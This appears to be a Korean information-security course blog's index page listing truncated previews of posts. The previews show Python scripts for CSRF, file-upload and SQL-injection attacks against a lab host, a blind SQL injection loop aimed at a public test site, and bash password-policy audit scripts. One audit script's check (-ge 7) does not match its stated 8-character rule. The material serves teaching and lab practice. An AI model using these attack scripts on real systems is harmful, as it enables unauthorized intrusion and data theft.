정보보안과정(38)
-
CSRF 취약점 진단
#!/usr/bin/env /usr/bin/python3 # ====================================================================== # 선수작업 1(linux200) # ====================================================================== # (1) 공격자는 xss.php 파일을 linux200 서버의 /var/www/html/xss 디렉토리에 생성하고 # 적당한 권한을 준 이후에 웹서비스를 기동한다. # (EX) # cd /var/www/html; mkdir -p xss; chmod 777 xss; chown apache:apache xss; service httpd restart # (EX..
2020.04.22 -
FileUpload 취약점 진단
#!/usr/bin/env /usr/bin/python3 # # File Upload Attack # # (1) Login attempt # (2) Security level setting # (3) File upload possible? # (4) File upload attack import requests from bs4 import BeautifulSoup import re import sys domain = 'http://192.168.10.134' proxies = {'http': 'http://localhost:9000', 'https': 'http://localhost:9000'} s = requests.Session() # (1) Login attempt login_url = domain..
2020.04.21 -
SQL Injection 취약점 진단
#!/usr/bin/env /usr/bin/python3 # # SQL Injection (Error-based SQL Injection) # import requests from bs4 import BeautifulSoup import re import sys import os # (1) Login Attempt # (2) Security level setting # (3) SQL Injection possible? # (4) SQL injection attack domain = 'http://192.168.10.134' def banner(): banner_message = """ ------------------------------------------------ Remote excution vu..
2020.04.21 -
패스워드 최대 사용기간 설정
U-08 #!/bin/bash . function.sh TMP1=`SCRIPTNAME`.log > $TMP1 BAR CODE [U-08] 패스워드 최대 사용기간 설정 cat $RESULT [양호]: 패스워드 최대 사용기간이 90일(12주) 이하로 설정되어 있는 경우 [취약]: 패스워드 최대 사용기간이 90일(12주) 이하로 설정되어 있지 않는 경우 EOF BAR LOGINDEFSFILE=/etc/login.defs SEARCHVALUE=PASS_MAX_DAYS NUM=$(SearchValue VALUE $LOGINDEFSFILE $SEARCHVALUE) if [ $NUM -le 90 ] ; then OK "패스워드 최대 사용기간이 90일(12주) 이하로 설정되어 있습니다." else WARN "패스워드 ..
2020.04.16 -
패스워드 최소 길이 설정
U-07 #!/bin/bash . function.sh TMP1=`SCRIPTNAME`.log > $TMP1 TMP2=$(mktemp) BAR CODE [U-07] 패스워드 최소 길이 설정 cat $RESULT [양호]: 암호의 최소 길이가 8글자 이상 [취약]: 암호의 최소 길이가 7글자 미만 EOF BAR LOGINDEFSFILE=/etc/login.defs grep PASS_MIN_LEN $LOGINDEFSFILE | egrep -v '^#|^$' >> $TMP2 NUM=$(cat $TMP2 | awk '{print $2}') if [ $NUM -ge 7 ] ; then OK 암호의 최소 길이가 8글자 이상입니다. else WARN 암호의 최소 길이가 7글자 이하입니다. INFO $TMP1 파일을 ..
2020.04.16 -
Blind SQL Injection Code
#!/usr/bin/python import requests url = "http://testasp.vulnweb.com/showforum.asp?id=2 and " param = "(select count(*) from information_schema.tables) = " table_name = "table_name from information_schema.tables" print("\n#### Find Num of Table ####") for i in range(1, 20): url_a = url + param + str(i) req = requests.get(url_a) # print(req) if "acuforum Miscellaneous" in req.text: print("table_nu..
2020.04.14